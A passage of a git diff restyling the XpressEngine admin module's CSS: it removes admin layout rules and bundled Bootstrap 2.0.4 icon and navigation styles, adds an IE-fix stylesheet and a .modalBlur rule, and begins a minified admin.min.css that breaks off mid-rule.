0;text-decoration:none;background:url(../img/iconArrow.gif) no-repeat right -32px} -.x .thumbPreview li.active .prevToggle{background-position:right 0} -.x .thumbPreview .a{border:0;margin:0;zoom:1} -.x .thumbPreview .a:after{content:"";display:block;clear:both} -.x .thumbPreview .i{float:left;vertical-align:top;margin:0 1em 1em 0;padding:0;border:0;zoom:1} -.x .thumbPreview .i:after{content:"";display:block;clear:both} -.x .thumbPreview .i .thumb{position:relative;width:124px;height:84px;padding:0;margin-bottom:3px;text-align:center;overflow:hidden;border:1px solid #ddd;display:block;cursor:pointer;background:#fff} -.x .thumbPreview .i .thumb .frame{position:absolute;width:120px;height:80px;left:0;top:0;border:2px solid #fff;overflow:hidden} -.x .thumbPreview .i .thumb img{width:120px;margin:0} -.x .thumbPreview .i label{display:block;position:relative;top:0;left:2px;width:122px;height:1.1em;margin:0;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} -.x .thumbPreview .i input{display:none} -.x .thumbPreview .i ul{display:none} -.x .thumbPreview .selected .i{display:block;float:none} -.x .thumbPreview .selected .i .thumb{float:left;width:186px;height:126px;margin:0 1em 0 0;border:2px solid #eee} -.x .thumbPreview .selected .i .thumb .frame{width:180px;height:120px;border-width:3px} -.x .thumbPreview li.active.highlight .selected .i .thumb{border-color:#5ea8f6} -.x .thumbPreview .selected .i .thumb img{width:180px;position:relative} -.x .thumbPreview li.active .selected .i .thumb img{z-index:auto} -.x .thumbPreview .selected .i label{cursor:text} -.x .thumbPreview .selected .i ul{display:block;list-style:none;border:0;margin:1em 0 1em 200px} -.x .thumbPreview .selected .i li{border:0;padding:0;margin:0 0 .2em 0} -.x .thumbPreview.jx .i label{display:inline;width:auto} -.x .thumbPreview.jx .i.noDirection{display:none} -.x .thumbPreview.jx .i input{display:inline} -.x #skin .showAll{float:right;border:0;overflow:visible;padding:0 18px 0 0;cursor:pointer;color:#00f;background:url(../img/iconArrow.gif) no-repeat right -32px} -.x #skin .showAll.hideAll{background-position:right 0} -/* Favorite On | Off */ -.x .fvOff, -.x .fvOn{display:inline-block;width:16px;height:16px;overflow:hidden;text-indent:16px;background:transparent url(../img/iconFavorite.gif) no-repeat;border:0} -.x .fvOn{background-position:0 -16px} -/* Up-Down Dragable */ -.x .uDrag .wrap{position:relative;padding-left:20px} -.x .uDrag li>.wrap{margin:0 0 0 8px} -.x .uDrag .dragActive{background:#FFD} -.x .uDrag .dragActive th, -.x .uDrag .dragActive td{background:none !important} -.x .uDrag .dragBtn{position:absolute;width:8px;height:100%;padding:0;overflow:hidden;background:url(../img/bgDragable.gif);top:1px;left:0;text-indent:12px;border:0;cursor:n-resize;white-space:nowrap} -/* Favicon Preview */ -.x .faviconPreview{position:relative;padding:60px 0 0 200px;background:url(../img/bgFavicon.gif) no-repeat} -.x .faviconPreview img{position:absolute} -.x .faviconPreview .fn1{top:30px;left:12px} -.x .faviconPreview .fn2{top:55px;left:68px} -/* Mobile Icon Preview */ -.x .mobiconPreview{position:relative;padding:252px 0 0 200px;background:url(../img/bgMobileTop.png) no-repeat} -.x .mobiconPreview img{position:absolute;top:20px;left:10px} -.x .mobiconPreview span{position:absolute;width:32px;text-align:center;top:52px;left:10px;color:#fff;font-size:9px} -/* Text List */ -.x .textList{border:1px solid #ddd !important;line-height:1.5em;height:18.5em;overflow:auto} -.x .textList li{border:0;padding:.25em 1em;height:1.5em;white-space:nowrap;overflow:hidden} -.x .textList li:nth-child(even){background:#eee} -.x .textList li a{float:right} -/* File Box */ -.x .fileBox li{position:relative} -.x .fileBox li img{max-width:100%} -.x .fileBox .portlet ul{margin:1em;list-style:none;padding:0;border:0} -.x .fileBox .portlet li{border-top:1px solid #ddd;border-bottom:0;padding:8px 0} -.x .fileBox .side{position:absolute;top:8px;right:0} -/* Messages */ -.x .desc.error{color:#f00} -.x .desc.success{color:#080} -/* Icon Button */ -.x a.iSetting{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../img/iconSetting.gif) no-repeat} -.x a.cMenu{display:inline-block;width:16px;height:0;padding:16px 0 0 0;overflow:hidden;vertical-align:middle;background:url(../../../../common/img/icon.bubble.png) no-repeat} -.x .sTog{float:right;border:0;background-color:transparent;width:28px;height:18px;opacity:.5;filter:alpha(opacity=50)} -/* Responsive Layout */ -@media all and (max-width:860px){ -.x .header .account ul{padding-right:10px} -.x .body{padding:1em 0 0 0} -.x .content{float:none;margin-left:0} -.x .lnb{float:none;width:auto;margin:1em 0;left:auto} -.x .dashboard .portlet{float:none !important;width:auto !important;margin-right:0} -.modal .fg, -.wfsr .fg{width:auto} -.x .easyNav .category{float:none;display:block;width:auto} -.x .easyNav .filter{position:static} -} -/* Legacy Code (Don't use it. It will be removed as soon as possible.) */ -.x h3.xeAdmin, -.x h4.xeAdmin{position:relative;border-bottom-style:solid;border-bottom-color:#ccc;zoom:1} -.x h3.xeAdmin{border-bottom-width:4px;font-size:24px} -.x h4.xeAdmin{border-bottom-width:3px;font-size:20px} -.x h5.xeAdmin{border-bottom-width:2px;font-size:16px} -.x h6.xeAdmin{border-bottom-width:1px;font-size:12px} -.x .adminSearch{margin:1em 0} -.x .adminSearch fieldset{border:1px solid #ccc;margin:0;padding:.5em 1em} -.x .localNavigation{padding:0;list-style:none} -.x .localNavigation li{display:inline} -.x .localNavigation li.on a{font-weight:bold;color:#333;text-decoration:none} -.x .localNavigation li:before{content:"| "} -.x .localNavigation li:first-child:before{content:""} -.x .summary{margin:1em 0} -.x .rowTable, -.x .colTable, -.x .crossTable{margin:1em 0;border:0;border-collapse:collapse;border-top:2px solid #ccc;width:100%} -.x .rowTable caption, -.x .colTable caption, -.x .crossTable caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0} -.x .rowTable caption:after, -.x .colTable caption:after, -.x .crossTable caption:after{content:"";display:block;clear:both} -.x .rowTable caption a, -.x .colTable caption a, -.x .crossTable caption a{font-weight:normal} -.x .rowTable caption em, -.x .colTable caption em, -.x .crossTable caption em{float:right;font-style:normal;font-weight:normal;color:#e00;margin-left:1em} -.x .rowTable caption strong, -.x .colTable caption strong, -.x .crossTable caption strong{color:#e00} -.x .rowTable caption .side, -.x .colTable caption .side, -.x .crossTable caption .side{float:right;font-weight:normal;margin-left:1em} -.x .rowTable th, -.x .rowTable td, -.x .colTable th, -.x .rowTable td, -.x .crossTable th, -.x .rowTable td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd} -.x .rowTable th, -.x .colTable th, -.x .crossTable th{background:#f8f8f8;white-space:nowrap} -.x .rowTable thead th, -.x .colTable thead th, -.x .crossTable thead th{border-bottom:1px solid #999} -.x .rowTable tfoot td, -.x .colTable tfoot td, -.x .crossTable tfoot td{font-weight:bold;background:#f8f8f8} -.x .rowTable.even tbody tr:nth-of-type(even) td, -.x .colTable.even tbody tr:nth-of-type(even) td, -.x .crossTable.even tbody tr:nth-of-type(even) td{background-color:#fafafa} -.x .rowTable td>input[type=text], -.x .colTable td>input[type=text], -.x .crossTable td>input[type=text]{margin:-1px 0 -3px 0 !important;vertical-align:middle} -.x .rowTable img, -.x .colTable img, -.x .crossTable img{vertical-align:middle} -.x .rowTable .title, -.x .colTable .title, -.x .crossTable .title, -.x .rowTable .text, -.x .colTable .text, -.x .crossTable .text{white-space:normal} -.x .rowTable input[type=text], -.x .colTable input[type=text], -.x .crossTable input[type=text], -.x .rowTable input[type=password], -.x .colTable input[type=password], -.x .crossTable input[type=password], -.x .rowTable input[type=file], -.x .colTable input[type=file], -.x .crossTable input[type=file], -.x .rowTable textarea, -.x .colTable textarea, -.x .crossTable textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent} -.x .rowTable input[type=text], -.x .colTable input[type=text], -.x .crossTable input[type=text], -.x .rowTable input[type=password], -.x .colTable input[type=password], -.x .crossTable input[type=password], -.x .rowTable input[type=file], -.x .colTable input[type=file], -.x .crossTable input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px} -.x .clear:after{content:"";display:block;clear:both} - -.x .moduleSearchWindow{position:absolute;width:700px;z-index:100} -.x .moduleSearchWindow, .moduleSearchWindow div{margin:0;padding:0;color:#2d2c2d;font-size:12px} -.x .moduleSearchWindow h2{margin:0;padding:4px;height:24px;line-height:24px;background:#666;text-align:left;color:#fff;font-size:12px} -.x .moduleSearchWindow .sectionDiv{position:relative;margin:0px;background:#fff;border:1px solid} -.x .moduleSearchWindow .siteList{float:left;width:295px} -.x .moduleSearchWindow .highlight{background:yellow;color:red;font-style:italic} -.x .moduleSearchWindow .moduleTypeList{margin-left:5px;float:left;width:200px} -.x .moduleSearchWindow .moduleInstanceList{float:right;width:190px} -.x .moduleSearchWindow ul{margin:0;padding:0;border:0} -.x .moduleSearchWindow li{font-size:12px;border:0;border-bottom:1px solid #ccc;margin:0;padding: 4px 4px;font-family: 나눔고딕,NanumGothic,"맑은 고딕","Malgun Gothic",AppleGothic,돋움,Dotum,굴림,Gulim,sans-serif} -.x .moduleSearchWindow li:hover, .moduleSearchWindow li.on{background:#eee;cursor:pointer} -.x .moduleSearchWindow li div{margin:0;padding:0;display:inline-block;white-space: nowrap;overflow: hidden;text-overflow: ellipsis} -.x .moduleSearchWindow .siteList li div{width:270px} -.x .moduleSearchWindow .siteListSearchBox{margin:0;padding:4px 0;height:24px;border-bottom:1px solid #888} -.x .moduleSearchWindow .siteListSearchBoxBorder{margin-left:3px;height: 22px;width: 287px;border: 1px solid #ccc} -.x .moduleSearchWindow input.siteListSearchInput{margin:0;padding:0;position:relative;float:right;width: 260px;margin-right:4px;border:0} -.x .moduleSearchWindow .siteListSearchBox .searchImg{position:relative;float:left;margin-top:4px;margin-left:4px} -.x .moduleSearchWindow .moduleTypeList li div{width:170px} -.x .moduleSearchWindow .moduleInstanceList li div{width:190px} -.x .moduleSearchWindow .moduleSearch_ok {float:right} -.x .moduleSearchWindow select.moduleInstanceListSelect {width:100%} - -/*! - * Bootstrap v2.0.4 - * - * Copyright 2012 Twitter, Inc - * Licensed under the Apache License v2.0 - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Designed and built with all the love in the world@twitter by@mdo and@fat. -*/ -/* Bootstrap - Icons */ -[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat} -[class^="icon-"]:last-child,[class*=" icon-"]:last-child{*margin-left:0} -.icon-white{background-image:url("../img/glyphicons-halflings-white.png")} -.icon-glass{background-position:0 0} -.icon-music{background-position:-24px 0} -.icon-search{background-position:-48px 0} -.icon-envelope{background-position:-72px 0} -.icon-heart{background-position:-96px 0} -.icon-star{background-position:-120px 0} -.icon-star-empty{background-position:-144px 0} -.icon-user{background-position:-168px 0} -.icon-film{background-position:-192px 0} -.icon-th-large{background-position:-216px 0} -.icon-th{background-position:-240px 0} -.icon-th-list{background-position:-264px 0} -.icon-ok{background-position:-288px 0} -.icon-remove{background-position:-312px 0} -.icon-zoom-in{background-position:-336px 0} -.icon-zoom-out{background-position:-360px 0} -.icon-off{background-position:-384px 0} -.icon-signal{background-position:-408px 0} -.icon-cog{background-position:-432px 0} -.icon-trash{background-position:-456px 0} -.icon-home{background-position:0 -24px} -.icon-file{background-position:-24px -24px} -.icon-time{background-position:-48px -24px} -.icon-road{background-position:-72px -24px} -.icon-download-alt{background-position:-96px -24px} -.icon-download{background-position:-120px -24px} -.icon-upload{background-position:-144px -24px} -.icon-inbox{background-position:-168px -24px} -.icon-play-circle{background-position:-192px -24px} -.icon-repeat{background-position:-216px -24px} -.icon-refresh{background-position:-240px -24px} -.icon-list-alt{background-position:-264px -24px} -.icon-lock{background-position:-287px -24px} -.icon-flag{background-position:-312px -24px} -.icon-headphones{background-position:-336px -24px} -.icon-volume-off{background-position:-360px -24px} -.icon-volume-down{background-position:-384px -24px} -.icon-volume-up{background-position:-408px -24px} -.icon-qrcode{background-position:-432px -24px} -.icon-barcode{background-position:-456px -24px} -.icon-tag{background-position:0 -48px} -.icon-tags{background-position:-25px -48px} -.icon-book{background-position:-48px -48px} -.icon-bookmark{background-position:-72px -48px} -.icon-print{background-position:-96px -48px} -.icon-camera{background-position:-120px -48px} -.icon-font{background-position:-144px -48px} -.icon-bold{background-position:-167px -48px} -.icon-italic{background-position:-192px -48px} -.icon-text-height{background-position:-216px -48px} -.icon-text-width{background-position:-240px -48px} -.icon-align-left{background-position:-264px -48px} -.icon-align-center{background-position:-288px -48px} -.icon-align-right{background-position:-312px -48px} -.icon-align-justify{background-position:-336px -48px} -.icon-list{background-position:-360px -48px} -.icon-indent-left{background-position:-384px -48px} -.icon-indent-right{background-position:-408px -48px} -.icon-facetime-video{background-position:-432px -48px} -.icon-picture{background-position:-456px -48px} -.icon-pencil{background-position:0 -72px} -.icon-map-marker{background-position:-24px -72px} -.icon-adjust{background-position:-48px -72px} -.icon-tint{background-position:-72px -72px} -.icon-edit{background-position:-96px -72px} -.icon-share{background-position:-120px -72px} -.icon-check{background-position:-144px -72px} -.icon-move{background-position:-168px -72px} -.icon-step-backward{background-position:-192px -72px} -.icon-fast-backward{background-position:-216px -72px} -.icon-backward{background-position:-240px -72px} -.icon-play{background-position:-264px -72px} -.icon-pause{background-position:-288px -72px} -.icon-stop{background-position:-312px -72px} -.icon-forward{background-position:-336px -72px} -.icon-fast-forward{background-position:-360px -72px} -.icon-step-forward{background-position:-384px -72px} -.icon-eject{background-position:-408px -72px} -.icon-chevron-left{background-position:-432px -72px} -.icon-chevron-right{background-position:-456px -72px} -.icon-plus-sign{background-position:0 -96px} -.icon-minus-sign{background-position:-24px -96px} -.icon-remove-sign{background-position:-48px -96px} -.icon-ok-sign{background-position:-72px -96px} -.icon-question-sign{background-position:-96px -96px} -.icon-info-sign{background-position:-120px -96px} -.icon-screenshot{background-position:-144px -96px} -.icon-remove-circle{background-position:-168px -96px} -.icon-ok-circle{background-position:-192px -96px} -.icon-ban-circle{background-position:-216px -96px} -.icon-arrow-left{background-position:-240px -96px} -.icon-arrow-right{background-position:-264px -96px} -.icon-arrow-up{background-position:-289px -96px} -.icon-arrow-down{background-position:-312px -96px} -.icon-share-alt{background-position:-336px -96px} -.icon-resize-full{background-position:-360px -96px} -.icon-resize-small{background-position:-384px -96px} -.icon-plus{background-position:-408px -96px} -.icon-minus{background-position:-433px -96px} -.icon-asterisk{background-position:-456px -96px} -.icon-exclamation-sign{background-position:0 -120px} -.icon-gift{background-position:-24px -120px} -.icon-leaf{background-position:-48px -120px} -.icon-fire{background-position:-72px -120px} -.icon-eye-open{background-position:-96px -120px} -.icon-eye-close{background-position:-120px -120px} -.icon-warning-sign{background-position:-144px -120px} -.icon-plane{background-position:-168px -120px} -.icon-calendar{background-position:-192px -120px} -.icon-random{background-position:-216px -120px} -.icon-comment{background-position:-240px -120px} -.icon-magnet{background-position:-264px -120px} -.icon-chevron-up{background-position:-288px -120px} -.icon-chevron-down{background-position:-313px -119px} -.icon-retweet{background-position:-336px -120px} -.icon-shopping-cart{background-position:-360px -120px} -.icon-folder-close{background-position:-384px -120px} -.icon-folder-open{background-position:-408px -120px} -.icon-resize-vertical{background-position:-432px -119px} -.icon-resize-horizontal{background-position:-456px -118px} -.icon-hdd{background-position:0 -144px} -.icon-bullhorn{background-position:-24px -144px} -.icon-bell{background-position:-48px -144px} -.icon-certificate{background-position:-72px -144px} -.icon-thumbs-up{background-position:-96px -144px} -.icon-thumbs-down{background-position:-120px -144px} -.icon-hand-right{background-position:-144px -144px} -.icon-hand-left{background-position:-168px -144px} -.icon-hand-up{background-position:-192px -144px} -.icon-hand-down{background-position:-216px -144px} -.icon-circle-arrow-right{background-position:-240px -144px} -.icon-circle-arrow-left{background-position:-264px -144px} -.icon-circle-arrow-up{background-position:-288px -144px} -.icon-circle-arrow-down{background-position:-312px -144px} -.icon-globe{background-position:-336px -144px} -.icon-wrench{background-position:-360px -144px} -.icon-tasks{background-position:-384px -144px} -.icon-filter{background-position:-408px -144px} -.icon-briefcase{background-position:-432px -144px} -.icon-fullscreen{background-position:-456px -144px} -/* Bootstrap - Nav */ -.nav{margin-bottom:18px;margin-left:0;list-style:none} -.nav > li > a{display:block} -.nav > li > a:hover{text-decoration:none;background-color:#eeeeee} -.nav > .pull-right{float:right} -.nav .nav-header{display:block;padding:3px 15px;font-weight:bold;line-height:18px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase} -.nav li + .nav-header{margin-top:9px} -.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0} -.nav-list > li > a, -.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5)} -.nav-list > li > a{padding:3px 15px} -.nav-list > .active > a, -.nav-list > .active > a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc} -.nav-list [class^="icon-"]{margin-right:2px} -.nav-list .divider{*width:100%;height:1px;margin:8px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff} -.nav-tabs, -.nav-pills{ *zoom:1} -.nav-tabs:before, -.nav-pills:before, -.nav-tabs:after, -.nav-pills:after{display:table;content:""} -.nav-tabs:after, -.nav-pills:after{clear:both} -.nav-tabs > li, -.nav-pills > li{float:left} -.nav-tabs > li > a, -.nav-pills > li > a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px} -.nav-tabs{border-bottom:1px solid #ddd} -.nav-tabs > li{margin-bottom:-1px} -.nav-tabs > li > a{padding-top:8px;padding-bottom:8px;line-height:18px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} -.nav-tabs > li > a:hover{border-color:#eeeeee #eeeeee #dddddd} -.nav-tabs > .active > a, -.nav-tabs > .active > a:hover{color:#555555;cursor:default;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent} -.nav-pills > li > a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px} -.nav-pills > .active > a, -.nav-pills > .active > a:hover{color:#ffffff;background-color:#0088cc} -.nav-stacked > li{float:none} -.nav-stacked > li > a{margin-right:0} -.nav-tabs.nav-stacked{border-bottom:0} -.nav-tabs.nav-stacked > li > a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} -.nav-tabs.nav-stacked > li:first-child > a{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0} -.nav-tabs.nav-stacked > li:last-child > a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px} -.nav-tabs.nav-stacked > li > a:hover{z-index:2;border-color:#ddd} -.nav-pills.nav-stacked > li > a{margin-bottom:3px} -.nav-pills.nav-stacked > li:last-child > a{margin-bottom:1px} -.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 5px 5px;-moz-border-radius:0 0 5px 5px;border-radius:0 0 5px 5px} -.nav-pills .dropdown-menu{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} -.nav-tabs .dropdown-toggle .caret, -.nav-pills .dropdown-toggle .caret{margin-top:6px;border-top-color:#0088cc;border-bottom-color:#0088cc} -.nav-tabs .dropdown-toggle:hover .caret, -.nav-pills .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580} -.nav-tabs .active .dropdown-toggle .caret, -.nav-pills .active .dropdown-toggle .caret{border-top-color:#333333;border-bottom-color:#333333} -.nav > .dropdown.active > a:hover{color:#000000;cursor:pointer} -.nav-tabs .open .dropdown-toggle, -.nav-pills .open .dropdown-toggle, -.nav > li.dropdown.open.active > a:hover{color:#ffffff;background-color:#999999;border-color:#999999} -.nav li.dropdown.open .caret, -.nav li.dropdown.open.active .caret, -.nav li.dropdown.open a:hover .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100)} -/* Bootstrap - Miscellaneous */ -.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #eee;border:1px solid rgba(0, 0, 0, 0.05);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.05)} -.well blockquote{border-color:#ddd;border-color:rgba(0, 0, 0, 0.15)} -.well-large{padding:24px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} -.well-small{padding:9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.modalBlur{position:absolute;top:0;right:0;border:0;background:none;padding:0;width:1px;height:1px;overflow:hidden} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.iefix.css b/modules/admin/tpl/css/admin.iefix.css new file mode 100644 index 000000000..0b5d6cb2b --- /dev/null +++ b/modules/admin/tpl/css/admin.iefix.css @@ -0,0 +1 @@ +#g11n .item textarea{height:40px} diff --git a/modules/admin/tpl/css/admin.min.css b/modules/admin/tpl/css/admin.min.css index 4bb3d70bb..fd3018a0f 100644 --- a/modules/admin/tpl/css/admin.min.css +++ b/modules/admin/tpl/css/admin.min.css @@ -1,11 +1 @@ -@charset "utf-8";header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{display:block}.x,.x table,.x input,.x textarea,.x select,.x button{font-size:13px;color:#333}.x button,.x input[type=submit],.x input[type=reset],.x input[type=button]{cursor:pointer;overflow:visible}.x img{border:0}.x p{line-height:1.5}.x .section{margin:1em 0;padding:0;border:0}.x .h2,.x .h3,.x .h4{position:relative;border-style:solid;border-top:0;border-right:0;zoom:1;padding-left:8px}.x .h1{background:#444;border-radius:4px;color:#fff;margin:0 0 1em 0;font-size:16px;padding:0 15px;line-height:36px}.x .h2{border-width:3px;font-size:20px;border-color:#888}.x .h3{border-width:2px;font-size:16px;border-color:#aaa}.x .h4{border-width:1px;font-size:12px;border-color:#ccc}.x .h1+ul,.x .h2+ul,.x .h3+ul,.x .h4+ul,.x .h1+.table table,.x .h2+.table table,.x .h3+.table table,.x .h4+.table table{border-top:0!important;margin-top:-1em!important}.x .portlet{position:relative;border:1px solid #e9e9e9;margin:1em 0;padding:0;background:#fff;zoom:1;overflow:hidden;border-radius:5px}.x .portlet h2,.x .portlet h3{margin:0;padding:.5em 1em;font-size:14px;border:1px solid #fff;border-bottom:1px solid #e9e9e9;background:#f7f7f7;border-radius:5px 5px 0 0}.x .portlet p{margin:1em 1.2em}.x .portlet li{position:relative;padding-right:8em}.x .portlet .lined{margin:1px!important;padding:0;list-style:none}.x .portlet .lined li{padding:.5em 8em .5em 1em;border-top:1px solid #eee;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;-o-text-overflow:ellipsis}.x .portlet .lined li:first-child{border:0}.x .portlet .side{position:absolute;top:0;_top:1px;right:0;color:#666;background:#fff;padding:0 1em}.x .portlet .lined .side{padding:.5em 1em}.x .portlet .more{position:absolute;top:.5em;right:1em;text-decoration:none!important;color:#666}.x .portlet .more span{color:#999}.x .portlet .action{text-align:right;top:0;right:0;padding:.5em 1em .5em 3em;background:#fff;background:-webkit-gradient(linear,0% 0,100% 0,from(rgba(255,255,255,0)),to(rgba(255,255,255,1)),color-stop(15%,#fff));background:-moz-linear-gradient(left,rgba(255,255,255,0) 0,rgba(255,255,255,1) 15%)}.x .portlet .action a,.x .portlet .action button{margin-left:1em}.x .portlet .btnArea{border-top:1px solid #ddd;margin:0;padding:.5em 1em;margin:0 1px 1px 1px;background:#f7f7f7;border-radius:0 0 5px 5px}.x .table{margin:1em 0}.x .table table{width:100%;border:0;border-collapse:collapse;border-top:2px solid #ccc}.x .table caption{font-weight:bold;text-align:left;line-height:22px;padding:5px 0}.x .table caption:after{content:"";display:block;clear:both}.x .table caption a{font-weight:normal}.x .table caption em{float:right;margin-left:1em}.x .table caption strong{color:#e00}.x .table caption .side{float:right;font-weight:normal;margin-left:1em}.x .table th,.x .table td{border:0;padding:8px;vertical-align:top;text-align:left;border-bottom:1px solid #ddd}.x .table th{background:#f8f8f8}.x .table thead th{border-bottom:1px solid #999}.x .table tfoot td{font-weight:bold;background:#f8f8f8}.x .table.even tbody tr:nth-of-type(even){background-color:#fafafa}.x .table tbody tr:hover{background:#ffd!important}.x .table td>input[type=text]{margin:-1px 0!important;vertical-align:middle}.x .table img{vertical-align:middle}.x .table em{font-style:normal;font-weight:normal;color:#e00}.x .table th.nowr,.x .table td.nowr{white-space:nowrap}.x .form{margin:0 0 1em 0;padding:0}.x .form fieldset{margin:0 0 2em 0;padding:0;border:0}.x .form.search fieldset{border:1px solid #ccc;padding:5px 15px;border-radius:3px}.x .form em{font-style:normal;color:#e00}.x .form label{line-height:1;vertical-align:middle}.x .form input[type=radio]+label,.x .form input[type=checkbox]+label{margin-right:1em}.x .form input[type=checkbox]+label,.x .form input[type=radio]+label,.x .form input[type=file]{cursor:pointer}.x .form ul{position:relative;margin:1em 0;padding:0;list-style:none;border-top:2px solid #ccc;border-bottom:1px solid #ccc;zoom:1}.x .form li{list-style:none;border:1px solid #ddd;border-left:0;border-right:0;margin:-1px 0;padding:8px 0;vertical-align:top;zoom:1}.x .form li:hover{background:#ffd}.x .form li:first-child{border-top:0}.x .form li>label:first-child{display:block;font-weight:bold}.x .form li label em{font-weight:normal}.x .form label.overlap{position:absolute;color:#aaa}.x .form input[type=text],.x .form input[type=password],.x .form input[type=file],.x .form select[size],.x .form textarea{position:relative;width:280px;margin:2px 0;border:1px solid #b7b7b7;border-right-color:#e1e1e1;border-bottom-color:#e1e1e1;background:transparent}.x .form input[type=text],.x .form input[type=password],.x .form input[type=file]{height:22px;line-height:22px;vertical-align:middle;padding:0 4px}.x .form input[type=text].loading,.x .form input.loading[type=password]{padding-right:24px;width:260px;background:transparent url(../img/preLoader16.gif) no-repeat 265px center}.x .form input[type=checkbox],.x .form input[type=radio]{margin:0;padding:0;width:13px;height:13px;vertical-align:middle}.x .form input[type=text][disabled=disabled],.x .form input[type=password][disabled=disabled],.x .form input[type=radio][disabled=disabled],.x .form input[type=checkbox][disabled=disabled],.x .form select[disabled=disabled],.x .form textarea[disabled=disabled]{background:#ddd;text-shadow:1px 1px 0 #fff}.x .form textarea{padding:3px 4px;vertical-align:top;resize:both}.x .form span.desc,.x .form em.desc{line-height:22px;vertical-align:middle;margin:0 10px}.x .form p.desc{margin:.25em 0;line-height:1.4}.x .form .q{font-weight:bold;margin:0 0 5px 0}.x .form .a{margin:0 0 5px 0}.x .form .tgForm{margin-right:1em}.x .gnb{height:34px;clear:both;border:1px solid #c1c1c1;border-left:0;border-right:0;background-color:#efefef;background:#efefef -webkit-gradient(linear,0% 0,0% 100%,from(#efefef),to(#dcdcdc));background:#efefef -moz-linear-gradient(top,#efefef,#dcdcdc);filter:progid:DXImageTransform.Microsoft.gradient(startColorStr=#efefef,endColorStr=#dcdcdc);zoom:1}.x .gnb:after{content:"";display:block;clear:both}.x .gnb .nav-gnb{float:left;position:relative;display:inline-block;*display:inline;zoom:1;margin:0 0 0 20px;padding:1px;list-style:none}.x .gnb .nav-gnb ul{_position:absolute;display:block;_display:inline;zoom:1;clear:both;margin:0;padding:0;border:0;overflow:hidden;height:0}.x .gnb.active .nav-gnb{top:-5px;padding:5px 5px 5px 0;margin:0 0 -100% 20px;border:1px solid #aaa;background:#fff;box-shadow:0 0 10px #999;border-radius:5px}.x .gnb.active .nav-gnb ul{top:0;_position:relative;box-shadow:none;display:block;_display:inline;clear:both;padding:0;margin:0;border:0}.x .gnb .nav-gnb:after{content:"";display:block;clear:both}.x .gnb .nav-gnb li{position:relative;display:inline-block;*display:inline;zoom:1;vertical-align:top;overflow:hidden;margin:0}.x .gnb .nav-gnb li.activeOn{z-index:10}.x .gnb .nav-gnb li.activeOn>a{border:1px solid #ccc}.x .gnb .nav-gnb li li{display:block;_float:left;clear:both;overflow:hidden;border:0;margin:0}.x .gnb .nav-gnb li li:first-child{border:0}.x .gnb .nav-gnb li a{display:block;_float:left;font-weight:bold;color:#333;font-size:12px;height:14px;padding:9px 0;white-space:nowrap;text-decoration:none;text-shadow:0 1px 0 #fff;zoom:1}.x .gnb .nav-gnb li a span{padding:0 15px;border-left:1px solid #fff}.x .gnb.active .nav-gnb li a span,.x .gnb .nav-gnb li:first-child a span,.x .gnb .nav-gnb li.activeOn+li a span{border:0;margin:0 0 0 1px}.x .gnb .nav-gnb li a:hover,.x .gnb .nav-gnb li a:active,.x .gnb .nav-gnb li a:focus{background:#f4f4f4}.x .gnb .nav-gnb li.activeOn>a{background:#fff;padding:8px 0}.x .gnb .nav-gnb li li a{color:#555;background:#fff;padding:5px 15px!important;font-weight:normal!important;border:0!important}.x .gnb .nav-gnb li li a:hover,.x .gnb .nav-gnb li li a:active,.x .gnb .nav-gnb li li a:focus{border:0;background:#eee}.x .gnb .mnv{width:100%;height:32px;display:none}@media all and (max-width:860px){.x .gnb{height:auto}.x .gnb .nav-gnb,.x .sct{display:none}.x .gnb .mnv{display:block}}.x .lnb{position:relative;float:left;width:210px;left:-230px;margin:0 0 20px 0;line-height:normal;zoom:1;display:inline}.x .lnb .h2{position:relative;z-index:2;margin:0 0 -1px 0;padding:0 10px;border:1px solid #444;border-bottom:0;border-radius:4px 4px 0 0;background:#555;font-size:13px;color:#fff;line-height:36px}.x .lnb ul{margin:0!important;padding:0;list-style:none;position:relative;z-index:1}.x .lnb li{position:relative;margin:0 0 -1px 